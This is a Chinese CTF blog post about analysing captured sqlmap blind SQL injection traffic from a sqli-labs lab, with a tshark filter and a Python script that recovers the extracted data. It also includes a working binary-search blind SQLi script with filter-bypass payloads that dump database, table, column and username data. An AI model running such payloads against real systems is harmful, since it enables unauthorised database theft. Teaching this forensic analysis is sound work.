sqlmap盲注流量的一点分析
前段时间给校赛出的一道题
之前也写过一篇sql盲注流量的简单分析BUU 流量分析 sqltest,这次出题想出类似的知识点,所以抓了一段sqlmap的盲注流量。自己分析的过程中意识到之前的做法还是不太严谨, 对上一篇做一点简单补充
题目附件不给出了,大概过程是用sqli-labs搭建靶场,然后用sqlmap跑一下less8, 同时开wireshark捕捉流量
分析过程
还是要回到sql盲注的原理上来。
我们知道,在盲注中,数据库运行返回结果时如果只返回对错而不返回数据库中的信息时,可以采用盲注,攻击者需要根据页面返回的不同来判断信息。而且盲注大部分情况下采用二分法来加快这一过程。一个盲注盲注脚本如下:
import requests
# url
url = "http://xxx.xxx.xxx.xxx/Less-26a/?id=1')^({})^('1'='1"
payload = {}
headers= {}
result=''
for i in range(0,800):
low = 32
high = 127
while low < high:
mid = (low+high)//2
# 查数据库
database = "oorrd(substr((select(group_concat(database()))),%d,1))>=%d" % (i, mid)
# 查表
tables = "oorrd(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database()),%d,1))>=%d"%(i,mid)
columns = "oorrd(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),%d,1))>=%d"%(i,mid)
data = "oorrd(substr((select(group_concat(username))from(security.users)),%d,1))>=%d" % (i, mid)
# 根据需要查询的内容改变参数
response = requests.request("GET", url.format(data), headers=headers, data=payload)
if 'Your Login name:Dumb' in response.text:
low = mid+1
else:
high = mid
#print(low,mid,high)
result += chr(low)
print(result)
如果我们在分析时只分析了攻击者发出的流量,没有分析返回内容,而是粗暴地用最后一个字符,最后会得到一堆乱码
所以,更合适的写法是把payload和返回数据都提取出来
用tshark过滤
tshark -r sqlmap.pcapng -Y "ip.src == xxx.xxx.xxx.xxx && http.response" -T fields -E separator="~" -e http.response_for.uri -e http.file_data > data.txt
简单解释一下,ip.src == xxx.xxx.xxx.xxx 是服务器发出的包(这里不告诉大家ip地址了),http.response是指过滤http返回内容,-E separator 是设置输出分隔符,-e 代表输出流量中对应字段,在这里输出返回包中的uri和数据
脚本
import urllib.parse
# 读入数据,数据中存在不可见字符,因此用rb模式
f = open("data.txt", "rb").readlines()
# 注入语句。
pattern = "AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM `security`.users ORDER BY username LIMIT 10,1),"
# 注入成功
trueInjection = "You are in..........."
temp = {}
for i in range(0, len(f)):
line = str(f[i])[2:]
# 上一步插入的分隔符,把数据分为url和data两部分
if line.find("~") == -1:
continue
url, data = line.split("~")[0],line.split("~")[1]
url = urllib.parse.unquote(url).strip()
positions = url.find(pattern)
if positions != -1:
# 截取参数,data1 表示第几位数据,data2表示这一位数据的ascii值
data1 = url[positions+len(pattern):].split(",")[0]
data2 = url[positions+len(pattern):].split(">")[1].split(" ")[0]
# data3: 注入结果的判断
if data.find(trueInjection) != -1:
data3 = True
else:
data3 = False
if data1 not in temp:
temp[data1]=[(data2,data3)]
else:
temp[data1].append((data2,data3))
else:
continue
# 盲注使用了二分法,所以也要根据这一点写代码解析数据
text=""
for i in temp:
small = -1
large = -1
for j in temp[i]:
if j[1] :
small = j[0]
else:
large = j[0]
if large != -1:
text+=chr(int(large))
print(text)
转载注明出处
author by 云千
2022/4/21